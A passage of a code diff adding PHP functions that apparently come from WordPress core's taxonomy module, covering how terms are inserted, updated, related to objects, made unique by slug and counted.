+			$_terms[$key] = sanitize_term_field( $_field, $term, $term, $taxonomy, 'raw' );
+		}
+		$terms = array_merge( $terms, $_terms );
+	} else if ( 'tt_ids' == $fields ) {
+		$terms = $wpdb->get_col("SELECT tr.term_taxonomy_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tr.object_id IN ($object_ids) AND tt.taxonomy IN ($taxonomies) $orderby $order");
+		foreach ( $terms as $key => $tt_id ) {
+			$terms[$key] = sanitize_term_field( 'term_taxonomy_id', $tt_id, 0, $taxonomy, 'raw' ); // 0 should be the term id, however is not needed when using raw context.
+		}
+	}
+
+	if ( ! $terms ) {
+		$terms = array();
+	} elseif ( $objects && 'all_with_object_id' !== $fields ) {
+		$_tt_ids = array();
+		$_terms = array();
+		foreach ( $terms as $term ) {
+			if ( in_array( $term->term_taxonomy_id, $_tt_ids ) ) {
+				continue;
+			}
+
+			$_tt_ids[] = $term->term_taxonomy_id;
+			$_terms[] = $term;
+		}
+		$terms = $_terms;
+	} elseif ( ! $objects ) {
+		$terms = array_values( array_unique( $terms ) );
+	}
+	/**
+	 * Filter the terms for a given object or objects.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array        $terms      An array of terms for the given object or objects.
+	 * @param array|int    $object_ids Object ID or array of IDs.
+	 * @param array|string $taxonomies A taxonomy or array of taxonomies.
+	 * @param array        $args       An array of arguments for retrieving terms for
+	 *                                 the given object(s).
+	 */
+	return apply_filters( 'wp_get_object_terms', $terms, $object_ids, $taxonomies, $args );
+}
+
+/**
+ * Add a new term to the database.
+ *
+ * A non-existent term is inserted in the following sequence:
+ * 1. The term is added to the term table, then related to the taxonomy.
+ * 2. If everything is correct, several actions are fired.
+ * 3. The 'term_id_filter' is evaluated.
+ * 4. The term cache is cleaned.
+ * 5. Several more actions are fired.
+ * 6. An array is returned containing the term_id and term_taxonomy_id.
+ *
+ * If the 'slug' argument is not empty, then it is checked to see if the term
+ * is invalid. If it is not a valid, existing term, it is added and the term_id
+ * is given.
+ *
+ * If the taxonomy is hierarchical, and the 'parent' argument is not empty,
+ * the term is inserted and the term_id will be given.
+
+ * Error handling:
+ * If $taxonomy does not exist or $term is empty,
+ * a WP_Error object will be returned.
+ *
+ * If the term already exists on the same hierarchical level,
+ * or the term slug and name are not unique, a WP_Error object will be returned.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+
+ * @since 2.3.0
+ *
+ * @param string       $term     The term to add or update.
+ * @param string       $taxonomy The taxonomy to which to add the term.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for inserting a term.
+ *
+ *     @type string $alias_of    Slug of the term to make this term an alias of.
+ *                               Default empty string. Accepts a term slug.
+ *     @type string $description The term description. Default empty string.
+ *     @type int    $parent      The id of the parent term. Default 0.
+ *     @type string $slug        The term slug to use. Default empty string.
+ * }
+ * @return array|WP_Error An array containing the `term_id` and `term_taxonomy_id`,
+ *                        {@see WP_Error} otherwise.
+ */
+function wp_insert_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! taxonomy_exists($taxonomy) ) {
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+	}
+	/**
+	 * Filter a term before it is sanitized and inserted into the database.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $term     The term to add or update.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	$term = apply_filters( 'pre_insert_term', $term, $taxonomy );
+	if ( is_wp_error( $term ) ) {
+		return $term;
+	}
+	if ( is_int($term) && 0 == $term ) {
+		return new WP_Error('invalid_term_id', __('Invalid term ID'));
+	}
+	if ( '' == trim($term) ) {
+		return new WP_Error('empty_term_name', __('A name is required for this term'));
+	}
+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( $args['parent'] > 0 && ! term_exists( (int) $args['parent'] ) ) {
+		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
+	}
+	$args['name'] = $term;
+	$args['taxonomy'] = $taxonomy;
+	$args = sanitize_term($args, $taxonomy, 'db');
+
+	// expected_slashed ($name)
+	$name = wp_unslash( $args['name'] );
+	$description = wp_unslash( $args['description'] );
+	$parent = (int) $args['parent'];
+
+	$slug_provided = ! empty( $args['slug'] );
+	if ( ! $slug_provided ) {
+		$_name = trim( $name );
+		$existing_term = get_term_by( 'name', $_name, $taxonomy );
+		if ( $existing_term ) {
+			$slug = $existing_term->slug;
+		} else {
+			$slug = sanitize_title( $name );
+		}
+	} else {
+		$slug = $args['slug'];
+	}
+
+	$term_group = 0;
+	if ( $args['alias_of'] ) {
+		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
+		if ( ! empty( $alias->term_group ) ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} else if ( ! empty( $alias->term_id ) ) {
+			/*
+			 * The alias is not in a group, so we create a new one
+			 * and add the alias to it.
+			 */
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+
+			wp_update_term( $alias->term_id, $taxonomy, array(
+				'term_group' => $term_group,
+			) );
+		}
+	}
+
+	// Terms with duplicate names are not allowed at the same level of a taxonomy hierarchy.
+	if ( $exists = term_exists( $slug, $taxonomy ) ) {
+		$existing_term = get_term( $exists['term_id'], $taxonomy );
+
+		if ( $name === $existing_term->name ) {
+
+			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+				$siblings = get_terms( $taxonomy, array( 'fields' => 'names', 'get' => 'all', 'parent' => $parent ) );
+				if ( in_array( $name, $siblings ) ) {
+					return new WP_Error( 'term_exists', __( 'A term with the name and slug already exists with this parent.' ), $exists['term_id'] );
+				}
+
+			} else {
+				return new WP_Error( 'term_exists', __( 'A term with the name and slug already exists in this taxonomy.' ), $exists['term_id'] );
+			}
+		}
+	}
+
+	$slug = wp_unique_term_slug( $slug, (object) $args );
+
+	if ( false === $wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) ) ) {
+		return new WP_Error( 'db_insert_error', __( 'Could not insert term into the database' ), $wpdb->last_error );
+	}
+
+	$term_id = (int) $wpdb->insert_id;
+
+	// Seems unreachable, However, Is used in the case that a term name is provided, which sanitizes to an empty string.
+	if ( empty($slug) ) {
+		$slug = sanitize_title($slug, $term_id);
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_terms', $term_id, $taxonomy );
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_terms', $term_id, $taxonomy );
+	}
+
+	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) );
+
+	if ( !empty($tt_id) ) {
+		return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+	}
+	$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent') + array( 'count' => 0 ) );
+	$tt_id = (int) $wpdb->insert_id;
+
+	/*
+	 * Sanity check: if we just created a term with the same parent + taxonomy + slug but a higher term_id than
+	 * an existing term, then we have unwittingly created a duplicate term. Delete the dupe, and use the term_id
+	 * and term_taxonomy_id of the older term instead. Then return out of the function so that the "create" hooks
+	 * are not fired.
+	 */
+	$duplicate_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.term_id, tt.term_taxonomy_id FROM $wpdb->terms t INNER JOIN $wpdb->term_taxonomy tt ON ( tt.term_id = t.term_id ) WHERE t.slug = %s AND tt.parent = %d AND tt.taxonomy = %s AND t.term_id < %d AND tt.term_taxonomy_id != %d", $slug, $parent, $taxonomy, $term_id, $tt_id ) );
+	if ( $duplicate_term ) {
+		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term_id ) );
+		$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );
+
+		$term_id = (int) $duplicate_term->term_id;
+		$tt_id   = (int) $duplicate_term->term_taxonomy_id;
+
+		clean_term_cache( $term_id, $taxonomy );
+		return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id );
+	}
+
+	/**
+	 * Fires immediately after a new term is created, before the term cache is cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "create_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a new term is created for a specific taxonomy.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers
+	 * to the slug of the taxonomy the term was created for.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "create_$taxonomy", $term_id, $tt_id );
+
+	/**
+	 * Filter the term ID after a new term is created.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Taxonomy term ID.
+	 */
+	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id );
+
+	clean_term_cache($term_id, $taxonomy);
+
+	/**
+	 * Fires after a new term is created, and after the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 */
+	do_action( "created_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a new term in a specific taxonomy is created, and after the term
+	 * cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "created_$taxonomy", $term_id, $tt_id );
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Create Term and Taxonomy Relationships.
+ *
+ * Relates an object (post, link etc) to a term and taxonomy type. Creates the
+ * term and taxonomy relationship if it doesn't already exist. Creates a term if
+ * it doesn't exist (using the slug).
+ *
+ * A relationship means that the term is grouped in or belongs to the taxonomy.
+ * A term has no meaning until it is given context by defining which taxonomy it
+ * exists under.
+ *
+ * @since 2.3.0
+ *
+ * @param int              $object_id The object to relate to.
+ * @param array|int|string $terms     A single term slug, single term id, or array of either term slugs or ids.
+ *                                    Will replace all existing related terms in this taxonomy.
+ * @param array|string     $taxonomy  The context in which to relate the term to the object.
+ * @param bool             $append    Optional. If false will delete difference of terms. Default false.
+ * @return array|WP_Error Affected Term IDs.
+ */
+function wp_set_object_terms( $object_id, $terms, $taxonomy, $append = false ) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( ! taxonomy_exists($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( ! $append )
+		$old_tt_ids =  wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none'));
+	else
+		$old_tt_ids = array();
+
+	$tt_ids = array();
+	$term_ids = array();
+	$new_tt_ids = array();
+
+	foreach ( (array) $terms as $term) {
+		if ( !strlen(trim($term)) )
+			continue;
+
+		if ( !$term_info = term_exists($term, $taxonomy) ) {
+			// Skip if a non-existent term ID is passed.
+			if ( is_int($term) )
+				continue;
+			$term_info = wp_insert_term($term, $taxonomy);
+		}
+		if ( is_wp_error($term_info) )
+			return $term_info;
+		$term_ids[] = $term_info['term_id'];
+		$tt_id = $term_info['term_taxonomy_id'];
+		$tt_ids[] = $tt_id;
+
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) )
+			continue;
+
+		/**
+		 * Fires immediately before an object-term relationship is added.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $object_id Object ID.
+		 * @param int $tt_id     Term taxonomy ID.
+		 */
+		do_action( 'add_term_relationship', $object_id, $tt_id );
+		$wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id ) );
+
+		/**
+		 * Fires immediately after an object-term relationship is added.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $object_id Object ID.
+		 * @param int $tt_id     Term taxonomy ID.
+		 */
+		do_action( 'added_term_relationship', $object_id, $tt_id );
+		$new_tt_ids[] = $tt_id;
+	}
+
+	if ( $new_tt_ids )
+		wp_update_term_count( $new_tt_ids, $taxonomy );
+
+	if ( ! $append ) {
+		$delete_tt_ids = array_diff( $old_tt_ids, $tt_ids );
+
+		if ( $delete_tt_ids ) {
+			$in_delete_tt_ids = "'" . implode( "', '", $delete_tt_ids ) . "'";
+			$delete_term_ids = $wpdb->get_col( $wpdb->prepare( "SELECT tt.term_id FROM $wpdb->term_taxonomy AS tt WHERE tt.taxonomy = %s AND tt.term_taxonomy_id IN ($in_delete_tt_ids)", $taxonomy ) );
+			$delete_term_ids = array_map( 'intval', $delete_term_ids );
+
+			$remove = wp_remove_object_terms( $object_id, $delete_term_ids, $taxonomy );
+			if ( is_wp_error( $remove ) ) {
+				return $remove;
+			}
+		}
+	}
+
+	$t = get_taxonomy($taxonomy);
+	if ( ! $append && isset($t->sort) && $t->sort ) {
+		$values = array();
+		$term_order = 0;
+		$final_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids'));
+		foreach ( $tt_ids as $tt_id )
+			if ( in_array($tt_id, $final_tt_ids) )
+				$values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tt_id, ++$term_order);
+		if ( $values )
+			if ( false === $wpdb->query( "INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join( ',', $values ) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)" ) )
+				return new WP_Error( 'db_insert_error', __( 'Could not insert term relationship into the database' ), $wpdb->last_error );
+	}
+
+	wp_cache_delete( $object_id, $taxonomy . '_relationships' );
+
+	/**
+	 * Fires after an object's terms have been set.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int    $object_id  Object ID.
+	 * @param array  $terms      An array of object terms.
+	 * @param array  $tt_ids     An array of term taxonomy IDs.
+	 * @param string $taxonomy   Taxonomy slug.
+	 * @param bool   $append     Whether to append new terms to the old terms.
+	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
+	 */
+	do_action( 'set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids );
+	return $tt_ids;
+}
+
+/**
+ * Add term(s) associated with a given object.
+ *
+ * @since 3.6.0
+ *
+ * @param int $object_id The ID of the object to which the terms will be added.
+ * @param array|int|string $terms The slug(s) or ID(s) of the term(s) to add.
+ * @param array|string $taxonomy Taxonomy name.
+ * @return array|WP_Error Affected Term IDs
+ */
+function wp_add_object_terms( $object_id, $terms, $taxonomy ) {
+	return wp_set_object_terms( $object_id, $terms, $taxonomy, true );
+}
+
+/**
+ * Remove term(s) associated with a given object.
+ *
+ * @since 3.6.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $object_id The ID of the object from which the terms will be removed.
+ * @param array|int|string $terms The slug(s) or ID(s) of the term(s) to remove.
+ * @param array|string $taxonomy Taxonomy name.
+ * @return bool|WP_Error True on success, false or WP_Error on failure.
+ */
+function wp_remove_object_terms( $object_id, $terms, $taxonomy ) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid Taxonomy' ) );
+	}
+
+	if ( ! is_array( $terms ) ) {
+		$terms = array( $terms );
+	}
+
+	$tt_ids = array();
+
+	foreach ( (array) $terms as $term ) {
+		if ( ! strlen( trim( $term ) ) ) {
+			continue;
+		}
+
+		if ( ! $term_info = term_exists( $term, $taxonomy ) ) {
+			// Skip if a non-existent term ID is passed.
+			if ( is_int( $term ) ) {
+				continue;
+			}
+		}
+
+		if ( is_wp_error( $term_info ) ) {
+			return $term_info;
+		}
+
+		$tt_ids[] = $term_info['term_taxonomy_id'];
+	}
+
+	if ( $tt_ids ) {
+		$in_tt_ids = "'" . implode( "', '", $tt_ids ) . "'";
+
+		/**
+		 * Fires immediately before an object-term relationship is deleted.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int   $object_id Object ID.
+		 * @param array $tt_ids    An array of term taxonomy IDs.
+		 */
+		do_action( 'delete_term_relationships', $object_id, $tt_ids );
+		$deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id ) );
+
+		/**
+		 * Fires immediately after an object-term relationship is deleted.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int   $object_id Object ID.
+		 * @param array $tt_ids    An array of term taxonomy IDs.
+		 */
+		do_action( 'deleted_term_relationships', $object_id, $tt_ids );
+		wp_update_term_count( $tt_ids, $taxonomy );
+
+		return (bool) $deleted;
+	}
+
+	return false;
+}
+
+/**
+ * Will make slug unique, if it isn't already.
+ *
+ * The $slug has to be unique global to every taxonomy, meaning that one
+ * taxonomy term can't have a matching slug with another taxonomy term. Each
+ * slug has to be globally unique for every taxonomy.
+ *
+ * The way this works is that if the taxonomy that the term belongs to is
+ * hierarchical and has a parent, it will append that parent to the $slug.
+ *
+ * If that still doesn't return an unique slug, then it try to append a number
+ * until it finds a number that is truly unique.
+ *
+ * The only purpose for $term is for appending a parent, if one exists.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $slug The string that will be tried for a unique slug
+ * @param object $term The term object that the $slug will belong too
+ * @return string Will return a true unique slug.
+ */
+function wp_unique_term_slug($slug, $term) {
+	global $wpdb;
+
+	if ( ! term_exists( $slug ) )
+		return $slug;
+
+	// As of 4.1, duplicate slugs are allowed as long as they're in different taxonomies.
+	if ( get_option( 'db_version' ) >= 30133 && ! get_term_by( 'slug', $slug, $term->taxonomy ) ) {
+		return $slug;
+	}
+
+	// If the taxonomy supports hierarchy and the term has a parent, make the slug unique
+	// by incorporating parent slugs.
+	if ( is_taxonomy_hierarchical($term->taxonomy) && !empty($term->parent) ) {
+		$the_parent = $term->parent;
+		while ( ! empty($the_parent) ) {
+			$parent_term = get_term($the_parent, $term->taxonomy);
+			if ( is_wp_error($parent_term) || empty($parent_term) )
+				break;
+			$slug .= '-' . $parent_term->slug;
+			if ( ! term_exists( $slug ) )
+				return $slug;
+
+			if ( empty($parent_term->parent) )
+				break;
+			$the_parent = $parent_term->parent;
+		}
+	}
+
+	// If we didn't get a unique slug, try appending a number to make it unique.
+	if ( ! empty( $term->term_id ) )
+		$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $term->term_id );
+	else
+		$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug );
+
+	if ( $wpdb->get_var( $query ) ) {
+		$num = 2;
+		do {
+			$alt_slug = $slug . "-$num";
+			$num++;
+			$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
+		} while ( $slug_check );
+		$slug = $alt_slug;
+	}
+
+	return $slug;
+}
+
+/**
+ * Update term based on arguments provided.
+ *
+ * The $args will indiscriminately override all values with the same field name.
+ * Care must be taken to not override important information need to update or
+ * update will fail (or perhaps create a new term, neither would be acceptable).
+ *
+ * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not
+ * defined in $args already.
+ *
+ * 'alias_of' will create a term group, if it doesn't already exist, and update
+ * it for the $term.
+ *
+ * If the 'slug' argument in $args is missing, then the 'name' in $args will be
+ * used. It should also be noted that if you set 'slug' and it isn't unique then
+ * a WP_Error will be passed back. If you don't pass any slug, then a unique one
+ * will be created for you.
+ *
+ * For what can be overrode in $args, check the term scheme can contain and stay
+ * away from the term keys.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $term_id The ID of the term
+ * @param string $taxonomy The context in which to relate the term to the object.
+ * @param array|string $args Overwrite term field values
+ * @return array|WP_Error Returns Term ID and Taxonomy Term ID
+ */
+function wp_update_term( $term_id, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! taxonomy_exists($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+
+	$term_id = (int) $term_id;
+
+	// First, get all of the original args
+	$term = get_term ($term_id, $taxonomy, ARRAY_A);
+
+	if ( is_wp_error( $term ) )
+		return $term;
+
+	// Escape data pulled from DB.
+	$term = wp_slash($term);
+
+	// Merge old and new args with new args overwriting old ones.
+	$args = array_merge($term, $args);
+
+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args($args, $defaults);
+	$args = sanitize_term($args, $taxonomy, 'db');
+	$parsed_args = $args;
+
+	// expected_slashed ($name)
+	$name = wp_unslash( $args['name'] );
+	$description = wp_unslash( $args['description'] );
+
+	$parsed_args['name'] = $name;
+	$parsed_args['description'] = $description;
+
+	if ( '' == trim($name) )
+		return new WP_Error('empty_term_name', __('A name is required for this term'));
+
+	if ( $parsed_args['parent'] > 0 && ! term_exists( (int) $parsed_args['parent'] ) ) {
+		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
+	}
+
+	$empty_slug = false;
+	if ( empty( $args['slug'] ) ) {
+		$empty_slug = true;
+		$slug = sanitize_title($name);
+	} else {
+		$slug = $args['slug'];
+	}
+
+	$parsed_args['slug'] = $slug;
+
+	$term_group = isset( $parsed_args['term_group'] ) ? $parsed_args['term_group'] : 0;
+	if ( $args['alias_of'] ) {
+		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
+		if ( ! empty( $alias->term_group ) ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} else if ( ! empty( $alias->term_id ) ) {
+			/*
+			 * The alias is not in a group, so we create a new one
+			 * and add the alias to it.
+			 */
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+
+			wp_update_term( $alias->term_id, $taxonomy, array(
+				'term_group' => $term_group,
+			) );
+		}
+
+		$parsed_args['term_group'] = $term_group;
+	}
+
+	/**
+	 * Filter the term parent.
+	 *
+	 * Hook to this filter to see if it will cause a hierarchy loop.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int    $parent      ID of the parent term.
+	 * @param int    $term_id     Term ID.
+	 * @param string $taxonomy    Taxonomy slug.
+	 * @param array  $parsed_args An array of potentially altered update arguments for the given term.
+	 * @param array  $args        An array of update arguments for the given term.
+	 */
+	$parent = apply_filters( 'wp_update_term_parent', $args['parent'], $term_id, $taxonomy, $parsed_args, $args );
+
+	// Check for duplicate slug
+	$duplicate = get_term_by( 'slug', $slug, $taxonomy );
+	if ( $duplicate && $duplicate->term_id != $term_id ) {
+		// If an empty slug was passed or the parent changed, reset the slug to something unique.
+		// Otherwise, bail.
+		if ( $empty_slug || ( $parent != $term['parent']) )
+			$slug = wp_unique_term_slug($slug, (object) $args);
+		else
+			return new WP_Error('duplicate_term_slug', sprintf(__('The slug &#8220;%s&#8221; is already in use by another term'), $slug));
+	}
+
+	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id) );
+
+	/**
+	 * Fires immediately before the given terms are edited.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edit_terms', $term_id, $taxonomy );
+	$wpdb->update($wpdb->terms, compact( 'name', 'slug', 'term_group' ), compact( 'term_id' ) );
+	if ( empty($slug) ) {
+		$slug = sanitize_title($name, $term_id);
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+	}
+
+	/**
+	 * Fires immediately after the given terms are edited.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $term_id  Term ID
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edited_terms', $term_id, $taxonomy );
+
+	/**
+	 * Fires immediate before a term-taxonomy relationship is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edit_term_taxonomy', $tt_id, $taxonomy );
+	$wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) );
+
+	/**
+	 * Fires immediately after a term-taxonomy relationship is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'edited_term_taxonomy', $tt_id, $taxonomy );
+
+	// Clean the relationship caches for all object types using this term
+	$objects = $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) );
+	$tax_object = get_taxonomy( $taxonomy );
+	foreach ( $tax_object->object_type as $object_type ) {
+		clean_object_term_cache( $objects, $object_type );
+	}
+
+	/**
+	 * Fires after a term has been updated, but before the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "edit_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a term in a specific taxonomy has been updated, but before the term
+	 * cache has been cleaned.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "edit_$taxonomy", $term_id, $tt_id );
+
+	/** This filter is documented in wp-includes/taxonomy.php */
+	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id );
+
+	clean_term_cache($term_id, $taxonomy);
+
+	/**
+	 * Fires after a term has been updated, and the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "edited_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a term for a specific taxonomy has been updated, and the term
+	 * cache has been cleaned.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "edited_$taxonomy", $term_id, $tt_id );
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Enable or disable term counting.
+ *
+ * @since 2.5.0
+ *
+ * @param bool $defer Optional. Enable if true, disable if false.
+ * @return bool Whether term counting is enabled or disabled.
+ */
+function wp_defer_term_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_term_count( null, null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the amount of terms in taxonomy.
+ *
+ * If there is a taxonomy callback applied, then it will be called for updating
+ * the count.
+ *
+ * The default action is to count what the amount of terms have the relationship
+ * of term ID. Once that is done, then update the database.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $terms The term_taxonomy_id of the terms
+ * @param string $taxonomy The context of the term.
+ * @return bool If no terms will return false, and if successful will return true.
+ */
+function wp_update_term_count( $terms, $taxonomy, $do_deferred=false ) {
+	static $_deferred = array();
+
+	if ( $do_deferred ) {
+		foreach ( (array) array_keys($_deferred) as $tax ) {
+			wp_update_term_count_now( $_deferred[$tax], $tax );
+			unset( $_deferred[$tax] );
+		}
+	}
+
+	if ( empty($terms) )
+		return false;
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( wp_defer_term_counting() ) {
+		if ( !isset($_deferred[$taxonomy]) )
+			$_deferred[$taxonomy] = array();
+		$_deferred[$taxonomy] = array_unique( array_merge($_deferred[$taxonomy], $terms) );
+		return true;
+	}
+
+	return wp_update_term_count_now( $terms, $taxonomy );
+}
+
+/**
+ * Perform term count update immediately.
+ *
+ * @since 2.5.0
+ *
+ * @param array $terms The term_taxonomy_id of terms to update.
+ * @param string $taxonomy The context of the term.
+ * @return bool Always true when complete.
+ */
+function wp_update_term_count_now( $terms, $taxonomy ) {
+	$terms = array_map('intval', $terms);
+
+	$taxonomy = get_taxonomy($taxonomy);
+	if ( !empty($taxonomy->update_count_callback) ) {
+		call_user_func($taxonomy->update_count_callback, $terms, $taxonomy);
+	} else {
+		$object_types = (array) $taxonomy->object_type;
+		foreach ( $object_types as &$object_type ) {
+			if ( 0 === strpos( $object_type, 'attachment:' ) )
+				list( $object_type ) = explode( ':', $object_type );
+		}
+
+		if ( $object_types == array_filter( $object_types, 'post_type_exists' ) ) {
+			// Only post types are attached to this taxonomy
+			_update_post_term_count( $terms, $taxonomy );
+		} else {
+			// Default count updater
+			_update_generic_term_count( $terms, $taxonomy );
+		}
+	}
+
+	clean_term_cache($terms, '', false);
+
+	return true;
+}
+
